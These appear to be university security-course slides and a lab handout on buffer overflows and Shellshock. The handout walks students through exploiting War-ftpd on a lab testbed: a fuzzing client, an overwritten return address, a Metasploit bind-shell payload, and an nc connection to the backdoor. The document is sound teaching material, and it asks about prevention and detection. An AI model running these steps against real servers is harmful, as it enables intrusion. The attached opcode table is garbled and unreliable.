Security awareness is essential

"Know your enemy and know yourself and you can fight a hundred battles without disaster."

-Sun Tzu (Author of Art of War)
WARNING!

Never tamper without written consent. This can lead to academic suspension, legal prosecution, prevent you from getting a job, ...

Buffer Overflow

- Earliest buffer overflow exploit documented in 1988
- 1996, Phrack Magazine
- NIST Stats:
  - Exploited Finger Program: Started at MIT and was "used to determine the size of the Internet"
  - Infected 6000 Unix machines
  - Provides a step by step guide
- 1996: 8 vulnerabilities
- 2008: 339 vulnerabilities
- 2012: 418 vulnerabilities
- 2015: 344 vulnerabilities
Buffer Overflow – ExerciseCode.c

```c
#include <stdio.h>

int i; // assume an integer is 4 bytes

void doCopy(char *name)
{
    char copy[8];
    for(i=0; name[i] != '\0'; i++)
        copy[i] = name[i];
    copy[i] = '\0';
}

void main()
{
    char input[16]; // assume each char is 1 byte
    printf("Enter input\n");
    fgets(input, 16, stdin); // parameters pushed in reverse order
doCopy(input);
    printf("done copying: ");
    printf(input);
}
```
Buffer Overflow – ExerciseCode.c

```c
#include <stdio.h>

int i; // assume an integer is 4 bytes

void doCopy(char *name)
{
    char copy[8];
    for(i=0; name[i] != '\0'; i++)
        copy[i] = name[i];
    copy[i] = '\0';
}

void main()
{
    char input[16]; // assume each char is 1 byte
    printf("Enter input\n");
    fgets(input, 16, stdin); // parameters pushed in reverse order
    doCopy(input);
    printf("done copying: ");
    printf(input);
}
```

C Program

```c
12 void main()
13 {
14     char input[16]; // assume each char is 1 byte
```
C Program

12: `void main()
13: {
14:     char input[16]; //assume each char is 1 byte

Allocates 16 bytes of memory on the stack

C Program

12: `void main()
13: {
14:     char input[16]; //assume each char is 1 byte

Allocates 16 bytes of memory on the stack
Heap calls the allocator explicitly (new, malloc, calloc....)
Using an external library (we did not implement printf)

```
15    printf("Enter input\n");
16    fgets(input, 16, stdin);
```
C Program

```
17    doCopy(input);
18    printf("done copying: ");
19    printf(input);
20 }
```

C Program

```
17    doCopy(input);
18    printf("done copying: ");
19    printf(input);
20 }
```
C Program

```
void doCopy(char *name)
{
    char copy[8];
}
```
C Program

```c
for(i=0; name[i] != '\0'; i++)
    copy[i] = name[i];

copy[i] = '\0';
```

C Program

```c
for(i=0; name[i] != '\0'; i++)
    copy[i] = name[i];

copy[i] = '\0';
```

Then add null "terminator"
Is there a problem?

```c
#include <stdio.h>

int i; // assume an integer is 4 bytes

void doCopy(char *name)
{
    char copy[10];
    for(i=0; name[i] != '\0'; i++)
        copy[i] = name[i];
    copy[i] = '\0';
}

void main()
{
    char input[10]; // assume each char is 1 byte
    printf("Enter input\n");
    fgets(input, 10, stdin); // parameters pushed in reverse order
    doCopy(input);
    printf("done copying: ");
    printf(input);
}
```
Compilation...

$ i686-w64-mingw32-gcc exerciseCode.c -oexerciseCode.exe

Compilation...

Source code

$ i686-w64-mingw32-gcc exerciseCode.c -oexerciseCode.exe

Output file

A windows c compiler

(Results are the same w/ cygwin's gcc)
Do not try this at home

- Do not use the knowledge from this course for unethical and/or illegal purposes

**WARNING!**

*Never tamper without written consent.*

This can lead to academic suspension, legal prosecution, prevent you from getting a job, ...
What is bash?

- Bash is a Unix/Linux shell.
- It is an interpreter that allows a user to orchestrate commands on Unix and Linux systems.
- It can also operate as a parser for CGI scripts on a web server such as we’d typically see running on Apache server.

Bash Bug vulnerability?

- The Bash Bug vulnerability aka “Shellshock” (CVE-2014-6271) was discovered on September 2014.
- Targets include websites, servers, home routers and any other devices that execute or allows bash scripts.
  - it has existed for several decades, and is related to the way Bash handles specially-formatted environment variables, named shell functions.
  - It allows the user to type commands into a simple text-based window, which the operating system will then run.
  - Bash can run commands that are passed to it and that is what the vulnerability exploits.
Bash Bug vulnerability?

- Assigned a severity of a “10” in a 10-point scale.
  - By the National Institute of Standards and Technology
  - The severity is high because it is commonly used on servers and the level of complexity to run an attack is very low
- Affects GNU Bash versions 1.14 through 4.3 on environments such as OpenSSH, Common-Gateway Interface (CGI) and Apache HTTP Server.
  - Your system is considered vulnerable if it uses a Bash shell command in an HTTP server or a CGI.

Consequences of Bash Bug

- Attackers are able to:
  - Deface websites.
  - Steal user data.
  - Load a virus in a web server that spreads to vulnerable machines that access the server (create a botnet to spread from machine to machine).
  - Use botnets to send spam, steal data, or perform denial-of-service attacks.
  - Delete files, activate your camera, open a lock, or pretty much anything.
Bash Bug Statistics

- Billions of servers affected by the Bash Bug flaw
- A day after the vulnerability was discovered, attackers were already targeting millions of web servers and systems.
- “The number of vulnerable machines is greater than 3000”
  - Considering a search for affected servers only querying port 80 used for normal Web Hypertext Transfer Protocol (HTTP) requests.”[1]

Protection

- Install latest patches to operating systems.
- Monitor system logs.
- Check Internet of Things (IoT) devices.
- Test using dynamic host configuration protocol (DHCP).
- User Network Intrusion Prevention products.
Resources


Have fun!

https://arlsouth2.utep.edu

Login: BashBug(X)
Password: BashBug(X)

Replace X with your number

<table>
<thead>
<tr>
<th>#</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Alan</td>
</tr>
<tr>
<td>2</td>
<td>Ethan</td>
</tr>
<tr>
<td>3</td>
<td>Samarah</td>
</tr>
<tr>
<td>4</td>
<td>Charlie</td>
</tr>
<tr>
<td>5</td>
<td>Stephanie</td>
</tr>
<tr>
<td>6</td>
<td>Priscilla</td>
</tr>
<tr>
<td>7</td>
<td>Hao</td>
</tr>
<tr>
<td>8</td>
<td>Jazmine</td>
</tr>
<tr>
<td>9</td>
<td>Nicholas</td>
</tr>
<tr>
<td>10</td>
<td>Briana</td>
</tr>
<tr>
<td>11</td>
<td>Sergio</td>
</tr>
</tbody>
</table>
Gaining illegitimate access to a server typically requires vulnerability testing and exploitation of the found vulnerability. In this exercise, you will use a buffer overflow to exploit a vulnerable ftp program on a remote machine. This task requires a few tools and building a network client program to communicate with the vulnerable ftp program. This will help you understand how these types of attacks may occur and how they may be detected and prevented.

Part I – Connectivity to the Testbed

1. Open the two .RDP files you downloaded from CIT. The following are the credentials that you’ll use to login to both machines:

<table>
<thead>
<tr>
<th>Machine 1: Attacker</th>
<th>Machine 2: Victim</th>
</tr>
</thead>
<tbody>
<tr>
<td>username: root</td>
<td>username: victim</td>
</tr>
<tr>
<td>password: toor</td>
<td>password: victim</td>
</tr>
</tbody>
</table>

Part II – FTP Communication

IDA (the Interactive Disassembler) is a software disassembler and debugger. The disassembler feature takes machine code and converts it to assembly language which helps software analysts ascertain the purpose of a program or how it works. A debugger allows analysts to run programs and observe and modify their environment on-the-fly.

1. On the victim machine, you will use IDA Pro to launch “C:\Program Files\War-ftpd\war-ftpd.exe”. Conduct the following steps:
   a. Find IDA Pro on the Desktop and open it.
   b. Click the “Ok” button in the next window and then the “Go” button in the following window.
c. Click on File and select: 1. C:\Program Files\War-ftpd\war-ftpd.idb

d. To run War-ftpd in Debug mode, go to Debugger > Start Process.
e. When the “Debugger warning” window pops up press the “Yes” button.

2. Press “Ok” in the war-ftpd popup window. Click on the icon in the upper left side to set the server “Online”.

3. Click on the Start button->click Run… and star the Command Prompt cmd.exe

4. Identify and write down the victim computer IP address by executing ipconfig (hint it start with 11.)
   IP Address of victim: ______________________

5. Step out of the current Remote Desktop Connection and open the connection to the attacker machine.
   a. You want to send messages to the war-ftpd program on the victim machine using the Client.java program. Open the Client.java program located on the desktop:

   i. Start a Terminal by pressing and then run the following commands.

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ifconfig eth0 11.0.0.20/24 up</td>
<td>(sets up your IP Address)</td>
</tr>
<tr>
<td>cd Desktop</td>
<td>(navigate to directory)</td>
</tr>
<tr>
<td>geany Client.java &amp;</td>
<td>(opens the file for editing)</td>
</tr>
</tbody>
</table>
ii. You will send data to war-ftpd starting with the string “USER ”. This is how FTP communication works. Add the following lines of code underneath the appropriate “TODO” comment:

```java
String start = "USER ";
bytesOut.write(start.getBytes());
```

iii. To make sure that messages are being sent successfully, add your name to the data by typing in the following lines of code underneath the appropriate “TODO” comment:

```java
String name = "<your name here>";
bytesOut.write(name.getBytes());
```

iv. Next, you need to do is add a few bytes to represent the end of the data (a sort of “over” command as you would do on a walkie-talkie). The bytes 0x0d and 0x0a are hexadecimal representations of the carriage return and endline characters (this is what the ftp service uses to indicate the end of a transmission). Add the following lines of code underneath the appropriate “TODO” comment (NOTE: this is the last TODO in the java file):

```java
byte[] end = {(byte)0x0d, (byte)0x0a};
bytesOut.write(end);
```

b. In the Terminal, make sure that you’re in the Desktop directory.

c. Compile the Client.java program.

```
javac Client.java
```

d. Run the newly compiled program

```
java Client <enter IP address of victim here> 21
```

6. Check the war-ftp GUI on the victim machine to see if the Client.java program worked correctly (look for the string <your name> in the War-FTPD scrollable panel).
Part III – Vulnerability Hunting

The Stack is the part of memory that keeps track of all the method calls that occur in a running program. The stack is composed of stackframes that contain the parameters passed to the method, local variables, saved stack base address for the caller method, and the return address which points to the next instruction in the caller method.

<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>local var a</td>
<td>local var b</td>
<td>saved caller base address</td>
<td>return address</td>
<td>arg a</td>
</tr>
</tbody>
</table>

7. Make sure that war-ftp is still running on the victim and the IDA Pro debugger is still attached.

8. Fuzz testing is a technique that is useful for discovering errors or vulnerabilities in a software program. You are going to do a simple fuzz test to find the buffer overflow vulnerability in war-ftp. On the attacker machine, back in the text editor, modify Client.java following these steps:

   a. You don’t need to send your names anymore, so comment out those two lines (using the “//” characters).

   b. You want to break the war-ftp program and reveal the buffer overflow vulnerability. You need to create a garbage buffer (or array) that will contain a large amount of garbage data. Add the following lines of code underneath the appropriate “TODO” comments:

   ```java
   byte[] junk = new byte[485];
   for(int i = 0; i < junk.length; i++)
   
     junk[i] = ‘A’;
   
   bytesOut.write(junk);
   ```

   c. Save the program, compile it again (javac Client.java), and run it

   (java Client <victim ip address> 21)

9. Go back to the victim machine and do the following.
a. The garbage data array that you sent in the previous step (on the attacker) should have caused the return address in the stack (in war-ftp) to be overwritten. This is a buffer overflow. If done correctly, the following message should pop up in IDA:

```
[Image]
```

b. After pressing “OK” in the warning message, you can look at the stack by using the “IDA-view ESP” window.

```
[Image]
```

c. Still looking at the stack, you should be able to see the array (buffer) you sent to war-ftp (the long series of “A”s). You’ll see the return address if you scroll down the stack until you find the value 44AEF8h. This is the value that you’ll soon overwrite.

d. Stop the debugger by pressing the Stop button (top left corner in IDA Pro). Start the debugger once again and remember to click on to make war-ftp listen for connections.

---

**Part IV – Setting Up the Exploit**

The buffer overflow exploit overwrites the return address of the victim process. The return address is the location where the program jumps to continue program execution after a function has finished executing. An attacker can take advantage of the return address by forcing the program to jump to a different address than originally intended and run different code.
10. You will overwrite the original return address and force the program to jump somewhere else. On the attacker machine:

   a. To overwrite the return address with the new one, you will need to add the new address to the message sent by Client.java. We’ve done some work already and found a good return address for you to use. You’ll figure out what it does in next step. Add the following lines of code to Client.java underneath the appropriate “TODO” comment:

```
byte[] jump = {(byte)0x54,(byte)0x1d,(byte)0xab,(byte)0x71};
bytesOut.write(jump);
```

b. Save Client.java

11. Find out what instructions are at that new return address that you used in Client.java. On the victim machine, make sure that IDA is still debugging war-ftpd and then conduct the following steps:

   a. Go to the “IDA-view EIP” window, right-click, and select “Jump to address…”

   ![IDA-view EIP window](image)

b. You will need to look for the address you used in Client.java in reverse order (due to something called endianess). Search for 0x71ab1d54.

c. What are the first two bytes at this address? (ignore the 0 in the second byte)

   _____________

d. The bytes found at that address are opcodes which map directly to assembly instructions. Look up those two opcodes in the opcode table attached at the end of this handout. Write the two assembly instructions here.

   _____________

e. The two assembly instructions force the war-ftpd program to execute the shellcode that you will generate in the next section.
Part V – Generate Shellcode

******************************************************************************

Shellcode (or the payload) is a small piece of code that an attacker uses to accomplish some behavior alongside the exploit. A tool that can generate shellcode is called Metasploit. Metasploit is computer security software that contains a knowledgebase of software vulnerabilities, exploits, and it is used for penetration testing.

******************************************************************************

12. Now that you set up the Client.java to exploit the vulnerability, you’ll need to add some shellcode. Complete the following steps on the attacker machine.

a. In a Terminal, start metasploit.
   
   msfconsole

b. You need to generate shellcode that will tell the victim to open a TCP network listener (a backdoor so you can access the victim’s files). Type the following into the msfconsole and press enter after each one:

   i. use payload/windows/shell_bind_tcp
   ii. generate -b ‘\x00\x0a\x0d\x40’ -t java -f /root/Desktop/java.txt

c. Exit metasploit and open the file where the shellcode was written.
   
   exit
gpany /root/Desktop/java.txt &

(d. The generated shellcode is in an encoded and compressed format. Because of this, in the exploit code, we need to add padding to make space for the decompression. Modify Client.java in the following way.

   i. You are going to add 16 bytes of 0x90 to your network message. The assembly instruction associated with 0x90 is called NOP (which means no operation - it does nothing). Here you’ll use it to add some padding for the payload, when it’s decompressed.

   
   ii. Add the following lines of code to Client.java under the appropriate “TODO” comment, and save Client.java:

   ```java
   // nos
   byte[] nop = new byte[16];
   for(int i = 0; i < nop.length; i++){
       nop[i] = (byte)0x90;
   }
   outputStream.write(nop);
   ```

Page 7/10
e. Finally, add the shellcode to Client.java by doing the following.
   i. Copy the entire contents of the java.txt file (should be a tab in the text editor) and paste it into Client.java under the appropriate “TODO” shellcode comment.
   ii. Underneath the code that you pasted, enter the following line.
       \[\text{bytesOut.write(buf);}\]
   iii. Save Client.java

Part VI – Exploit

******************************************************************************

Netcat is a really convenient computer networking tool. It can open network connections and network listeners. It allows you to specify the listener/connector port number, and you can choose between TCP and UDP protocols.

******************************************************************************

13. On the victim machine, make sure war-ftp is running and is online.

14. Now you are ready to exploit the vulnerability in war-ftpd and have the program execute the new shellcode.

   On the attacker machine:
   a. Open a Terminal and make sure you’re in the Desktop directory.
   b. Compile the Client.java program
      \[javac Client.java\]
   c. Run Client.java with the victim IP address and port 21
      \[java Client <victim IP address> 21\]
   d. Now that you ran the Client.java program with the shellcode, a backdoor TCP listener should be waiting on the victim on port 4444.
   e. To verify that the exploit worked you will establish a connection with the victim using the backdoor. On the attacker machine:
      i. Open a Terminal and attempt to connect to port 4444
         \[nc <victim IP address> 4444\]
      ii. List files and directories.
         \[dir\]
15. Leave the victim a message letting them know that you hacked them:

   a. Navigate to the victim Desktop by executing
      
      `cd “C:\Documents and Settings\workshop\Desktop”`

   b. Type the following command.
      
      `echo “all your base are belong to us” >> Hacked.txt`

   c. Check the victim machine to see if the file was created.

16. Describe some ways that this type of attack can be prevented and detected.

    Preventions: ____________________________________________________________
    ______________________________________________________________________
    ______________________________________________________________________
    ______________________________________________________________________

    Detection: _____________________________________________________________
    ______________________________________________________________________
    ______________________________________________________________________
    ______________________________________________________________________
## Intel x86 Assembler Instruction Set Opcode Table

| ADD Ed Gb 00 | ADD Ed Gb 01 | ADD Ed Gb 02 | ADD Ed Gb 03 | ADD EdX iv 04 | ADD EdX iv 05 | PUSH E6 06 | POP Ed Gb 08 | OR Ed Gb 09 | OR Ed Gb 0A | OR EdX iv 0B | OR EdX iv 0C | OR EdX iv 0D | PUSH CS 0E | TWOBYTE
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>INC eAX 40</td>
<td>INC eAX 41</td>
<td>INC eAX 42</td>
<td>INC eAX 43</td>
<td>INC eAX 44</td>
<td>INC eAX 45</td>
<td>INC eAX 46</td>
<td>DEC eAX 47</td>
<td>DEC eAX 48</td>
<td>DEC eAX 49</td>
<td>DEC eAX 50</td>
<td>DEC eAX 51</td>
<td>DEC eAX 52</td>
<td>DEC eAX 53</td>
<td>4E</td>
</tr>
<tr>
<td>PUSH eAX 50</td>
<td>PUSH eAX 51</td>
<td>PUSH eAX 52</td>
<td>PUSH eAX 53</td>
<td>PUSH eAX 54</td>
<td>PUSH eAX 55</td>
<td>PUSH eAX 56</td>
<td>POP eAX 57</td>
<td>POP eAX 58</td>
<td>POP eAX 59</td>
<td>POP eAX 60</td>
<td>POP eAX 61</td>
<td>POP eAX 62</td>
<td>POP eAX 63</td>
<td>5F</td>
</tr>
<tr>
<td>PUSHA 60</td>
<td>POPA 61</td>
<td>BOUND Gv Ma 62</td>
<td>ARPL Gw 63</td>
<td>FS: Gs:</td>
<td>OPNAME 64</td>
<td>ADNAME 65</td>
<td>ADDNAME 66</td>
<td>SUBNAME 67</td>
<td>SUBNAME 68</td>
<td>SUBNAME 69</td>
<td>SUBNAME 70</td>
<td>SUBNAME 71</td>
<td>SUBNAME 72</td>
<td>6F</td>
</tr>
<tr>
<td>ADD Ed Ic 80</td>
<td>ADD Ed Ic 81</td>
<td>ADD Ed Ic 82</td>
<td>ADD Ed Ic 83</td>
<td>ADD EdX iv 84</td>
<td>ADD EdX iv 85</td>
<td>XCHG Ed Ic 86</td>
<td>ADD Ed Ic 87</td>
<td>ADD Ed Ic 88</td>
<td>ADD Ed Ic 89</td>
<td>ADD EdX iv 90</td>
<td>ADD EdX iv 91</td>
<td>ADD EdX iv 92</td>
<td>ADD Ed Ic 93</td>
<td>7F</td>
</tr>
<tr>
<td>MOV Ed Ic B1</td>
<td>MOV Ed Ic B2</td>
<td>MOV Ed Ic B3</td>
<td>MOV Ed Ic B4</td>
<td>MOV Ed Ic B5</td>
<td>MOV Ed Ic B6</td>
<td>MOV Ed Ic B7</td>
<td>MOV EdIc C0</td>
<td>MOV EdIc C1</td>
<td>MOV EdIc C2</td>
<td>MOV EdIc C3</td>
<td>MOV EdIc C4</td>
<td>MOV EdIc C5</td>
<td>MOV EdIc D0</td>
<td>9F</td>
</tr>
<tr>
<td>MOV Ed Ic D1</td>
<td>MOV Ed Ic D2</td>
<td>MOV Ed Ic D3</td>
<td>MOV Ed Ic D4</td>
<td>MOV EdIc E0</td>
<td>MOV EdIc E1</td>
<td>MOV EdIc E2</td>
<td>MOV EdIc E3</td>
<td>MOV EdIc E4</td>
<td>MOV EdIc E5</td>
<td>MOV EdIc E6</td>
<td>MOV EdIc E7</td>
<td>MOV EdIc E8</td>
<td>MOV EdIc E9</td>
<td>A0</td>
</tr>
<tr>
<td>MOV Ed Ic E1</td>
<td>MOV Ed Ic E2</td>
<td>MOV Ed Ic E3</td>
<td>MOV Ed Ic E4</td>
<td>MOV EdIc E5</td>
<td>MOV EdIc E6</td>
<td>MOV EdIc E7</td>
<td>MOV EdIc E8</td>
<td>MOV EdIc E9</td>
<td>MOV EdIc EA</td>
<td>MOV EdIc EB</td>
<td>MOV EdIc EC</td>
<td>MOV EdIc ED</td>
<td>MOV EdIc EE</td>
<td>A1</td>
</tr>
<tr>
<td>MOV Ed Ic F0</td>
<td>MOV Ed Ic F1</td>
<td>MOV Ed Ic F2</td>
<td>MOV Ed Ic F3</td>
<td>MOV EdIc F4</td>
<td>MOV EdIc F5</td>
<td>MOV EdIc F6</td>
<td>MOV EdIc F7</td>
<td>MOV EdIc F8</td>
<td>MOV EdIc F9</td>
<td>MOV EdIc FA</td>
<td>MOV EdIc FB</td>
<td>MOV EdIc FC</td>
<td>MOV EdIc FD</td>
<td>A2</td>
</tr>
</tbody>
</table>

---

Page 10/10

---